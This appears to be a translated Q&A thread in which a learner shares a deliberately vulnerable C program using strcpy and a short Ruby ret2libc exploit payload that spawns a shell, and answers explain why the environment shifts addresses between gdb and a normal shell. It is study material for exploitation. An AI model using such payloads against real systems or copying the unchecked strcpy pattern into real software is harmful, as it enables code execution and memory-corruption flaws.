0

NX をバイパスするための ret2libc バッファ オーバーフロー エクスプロイトについて学習しています。

私の脆弱なコード (vuln.c):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buffer[512];

    if (argc != 2)
        printf("NO\n");
    else {
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
    }
}

次のコマンドでコンパイル:# gcc -o vuln vuln.c

次に、この単純な ret2libc エクスプロイトを Ruby で作成しました (exploit.rb):

p = "A"*524
p += [0xb7e9ef10].pack('<I') # system()
p += [0xb7e79e46].pack('<I') # nomal ret val
p += [0xbffff75a].pack('<I') # "/bin/bash"
print(p)

それをgdbで実行すると(gdb) r $(ruby exploit.rb)、素敵なbashシェルが得られます。

次に、を使用して通常のシェルで実行しようとしますが# ./vuln $(ruby exploit.rb)、シェルを提供する代わりに、次のようになります。sh: 1: g:0:1: not found

ASLR は無効になっており、有効になっている唯一の保護は NX だと思います。

どんな助けでも大歓迎です。

編集:

役立つ場合に備えて、i686でこれを実行しています。

4

2 に答える 2

2

移行の理由は実行環境です。

user@feynman:~$ ./getenv PWN
PWN ("/home/user/pwn") is at 0xbfffff82
user@feynman:~$ /home/user/getenv PWN
PWN ("/home/user/pwn") is at 0xbfffff70

ここでgetenvの起動方法がPWNのアドレスに影響します。

于 2013-07-09T19:25:05.550 に答える
0

コード実行を達成しましたが、 のアドレスSHELL env varがオフです。[address of shell in gdb] + 4、またはで試してくださいgdb, x/s 0xbffff75a+4.

于 2013-06-26T02:39:36.360 に答える